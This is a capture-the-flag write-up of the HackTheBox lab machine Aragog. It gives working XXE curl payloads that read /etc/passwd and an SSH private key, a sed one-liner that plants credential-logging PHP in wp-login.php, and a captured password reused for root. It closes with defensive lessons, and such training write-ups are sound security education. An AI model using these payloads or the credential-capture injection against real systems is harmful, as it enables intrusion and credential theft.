HTB: Aragog Writeup
Aragog - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Aragog |
| OS | Linux |
| Difficulty | Medium |
| Points | 30 |
| Release Date | 21 July 2018 |
| IP Address | 10.10.10.78 |
| Author | egre55 |
Machine Rating
⭐⭐⭐☆☆ (3/5)
Difficulty Assessment:
- Enumeration: ⭐⭐☆☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐☆☆
Summary
Aragog is a medium-difficulty Linux machine that demonstrates real-world vulnerabilities commonly found in web applications. The initial foothold is gained through exploiting an XML External Entity (XXE) injection vulnerability in a PHP endpoint that parses user-supplied XML. This allows reading arbitrary files from the filesystem, including SSH private keys. Privilege escalation involves exploiting world-writable web directories to capture credentials from an automated WordPress login bot, which are then reused to gain root access.
TL;DR: Anonymous FTP reveals XML sample → XXE injection in /hosts.php reads /home/florian/.ssh/id_rsa → SSH as florian → Inject credential capture into world-writable /var/www/html/dev_wiki/wp-login.php → Capture bot credentials → su root with reused password.
Reconnaissance
Port Scanning
# Full port scan with service detectionnmap -sC -sV -T4 -p- 10.10.10.78Results:
- Port 21 (FTP): vsftpd 3.0.3 with anonymous login enabled
- Port 22 (SSH): OpenSSH 7.2p2 Ubuntu (publickey authentication only)
- Port 80 (HTTP): Apache 2.4.18 (Ubuntu)
Service Enumeration
FTP Anonymous Access
# Connect to FTP anonymouslyftp 10.10.10.78# Username: anonymous# Password: <blank>
# Download available fileget test.txtThe test.txt file contains a small XML sample:
<details> <subnet_mask>255.255.255.0</subnet_mask> <test></test></details>This XML structure provides a critical hint about the data format the web application expects.
HTTP Enumeration
# Add hostname to /etc/hostsecho "10.10.10.78 aragog.htb" >> /etc/hosts
# Browse to http://aragog.htb/# Main page shows only an imageDirectory enumeration reveals a /hosts.php endpoint. Testing shows this endpoint accepts POST requests with XML data.
Vulnerability Assessment
Identified Vulnerabilities:
- XML External Entity (XXE) Injection - The
/hosts.phpendpoint parses XML without proper sanitization, allowing external entity injection - Information Disclosure - FTP anonymous access reveals application structure
- World-Writable Web Directory -
/var/www/html/dev_wikihas 777 permissions - Password Reuse - Administrative credentials are reused across services
Initial Foothold
XML External Entity (XXE) Exploitation
The /hosts.php endpoint accepts XML via POST and reflects the subnet_mask value in its response. Testing with the sample XML from FTP:
# Test basic XML parsingcurl -X POST http://aragog.htb/hosts.php \ -H "Content-Type: application/xml" \ -d '<?xml version="1.0"?><details> <subnet_mask>255.255.255.0</subnet_mask> <test></test></details>'Response: “There are 254 possible hosts for 255.255.255.0”
This confirms the application parses the XML and uses the subnet_mask value. We can exploit this with an XXE payload to read local files.
Reading /etc/passwd
# XXE payload to read /etc/passwdcurl -X POST http://aragog.htb/hosts.php \ -H "Content-Type: application/xml" \ -d '<?xml version="1.0"?><!DOCTYPE data [ <!ENTITY xxe SYSTEM "file:///etc/passwd">]><details> <subnet_mask>&xxe;</subnet_mask> <test></test></details>'Key Users Discovered:
- florian (UID 1000)
- cliff (UID 1001)
Why This Works: XML External Entities allow defining custom entities that reference external resources. When the XML parser processes the &xxe; entity reference, it fetches the content from file:///etc/passwd and includes it in the document. Since the application reflects the subnet_mask value in its response, we can exfiltrate the file contents.
Extracting SSH Private Key
Since OpenSSH is configured for publickey authentication only, the presence of user home directories suggests SSH keys may be accessible:
# Read florian's SSH private keycurl -X POST http://aragog.htb/hosts.php \ -H "Content-Type: application/xml" \ -d '<?xml version="1.0"?><!DOCTYPE data [ <!ENTITY xxe SYSTEM "file:///home/florian/.ssh/id_rsa">]><details> <subnet_mask>&xxe;</subnet_mask> <test></test></details>' | grep -A50 "BEGIN RSA"The response contains florian’s private SSH key. Save it to a file:
# Save the key (replace with actual key content from response)cat > florian_id_rsa << 'EOF'-----BEGIN RSA PRIVATE KEY-----[key content]-----END RSA PRIVATE KEY-----EOF
# Set proper permissionschmod 600 florian_id_rsa
# SSH as florianssh -i florian_id_rsa florian@10.10.10.78User Flag
# Read user flagcat /home/florian/user.txtPrivilege Escalation
Enumeration as Florian
# Check running processesps aux | grep -E 'cliff|root'Discovery: A process running as user cliff executes /usr/bin/wp-login.py, indicating an automated WordPress login bot that periodically authenticates to the WordPress installation.
# Locate WordPress installationls -la /var/www/html/Key Finding: The /var/www/html/dev_wiki directory has 777 permissions, making it world-writable.
Credential Capture Strategy
Since the bot automates WordPress login, we can modify the login handler to capture credentials before they’re processed:
# Backup original wp-login.phpcp /var/www/html/dev_wiki/wp-login.php /dev/shm/wp-login.php.bak
# Inject credential capture code# Note: Using /dev/shm for staging due to /tmp space constraintscat > /tmp/inject.php << 'EOF'<?phpfile_put_contents("/dev/shm/creds.txt", $_POST['log'] . " - " . $_POST['pwd'] . "\n", FILE_APPEND);EOF
# Insert after the opening <?php tag in wp-login.phpsed -i '1 a file_put_contents("/dev/shm/creds.txt", $_POST["log"] . " - " . $_POST["pwd"] . "\\n", FILE_APPEND);' /var/www/html/dev_wiki/wp-login.phpWhy This Works: WordPress sends login credentials via POST with parameters log (username) and pwd (password). By injecting PHP code that writes these values to a file before the normal authentication logic runs, we can capture the bot’s credentials when it next logs in. The file_put_contents() function with FILE_APPEND ensures we don’t overwrite existing content and can capture multiple login attempts if needed.
# Wait for next bot run (approximately 1 minute)watch -n 5 cat /dev/shm/creds.txtAfter the bot’s next execution cycle:
# Read captured credentialscat /dev/shm/creds.txtCaptured Credentials:
Administrator - !KRgYs(JFO!&MTr)lfPrivilege Escalation to Root
# Spawn a PTY for su command (su requires a TTY)python3 -c 'import pty; pty.spawn("/bin/bash")'
# Switch to root using captured passwordsu root# Password: !KRgYs(JFO!&MTr)lfWhy Password Reuse Works: The automated bot uses administrative credentials to log into WordPress. In this case, the administrator has reused their system root password for the WordPress account, allowing lateral movement from web application credentials to full system access.
Root Flag
# Read root flagcat /root/root.txtCleanup
# Restore original wp-login.phpcp /dev/shm/wp-login.php.bak /var/www/html/dev_wiki/wp-login.php
# Remove temporary filesrm /dev/shm/creds.txt /dev/shm/wp-login.php.bakAttack Chain Summary
Anonymous FTP (test.txt with XML sample) → XXE Injection in /hosts.php → Read /etc/passwd (discover users) → Read /home/florian/.ssh/id_rsa → SSH as florian (user.txt) → Enumerate processes (discover cliff's wp-login.py bot) → World-writable /var/www/html/dev_wiki → Inject credential capture into wp-login.php → Capture Administrator credentials → Reuse password with su root (root.txt)Tools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service enumeration |
ftp | Anonymous FTP access to retrieve XML sample |
curl | Crafting HTTP POST requests for XXE exploitation |
ssh | Remote shell access with extracted private key |
ps | Process enumeration to identify automation |
sed | Injecting PHP code into wp-login.php |
su | Privilege escalation with captured credentials |
Key Learnings
Techniques Practiced
- XML External Entity (XXE) Injection - Exploiting unsafe XML parsing to read arbitrary files
- File Enumeration via XXE - Using XXE to systematically extract SSH keys and configuration files
- Process Enumeration - Identifying automated tasks that may contain privilege escalation vectors
- Credential Capture - Modifying application code in writable directories to intercept authentication
- Password Reuse Exploitation - Leveraging credentials across multiple services and privilege levels
Lessons Learned
-
Disable XXE in XML Parsers - Always configure XML parsers to disable external entity resolution (
libxml_disable_entity_loader(true)in PHP, or use secure parser configurations) -
Principle of Least Privilege - Web directories should never be world-writable. Use appropriate ownership (
www-data:www-data) and permissions (755 for directories, 644 for files) -
Secure Private Keys - SSH private keys should have restrictive permissions (600) and ideally be encrypted with passphrases. They should never be readable by other users
-
Avoid Password Reuse - Administrative credentials should be unique per service. The WordPress admin password should never match the system root password
-
Monitor Automated Processes - Scheduled tasks and automation scripts often contain or require elevated credentials, making them high-value targets for attackers
-
Input Validation - Even when accepting structured data like XML, validate and sanitize all user input. Consider using JSON instead of XML where external entities aren’t needed
-
Anonymous FTP Risks - Anonymous FTP access can leak application structure, sample data formats, and configuration details that aid in exploitation
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- HackTheBox Official Writeup - Aragog (Document No D18.100.12) by Alexander Reid (Arrexel)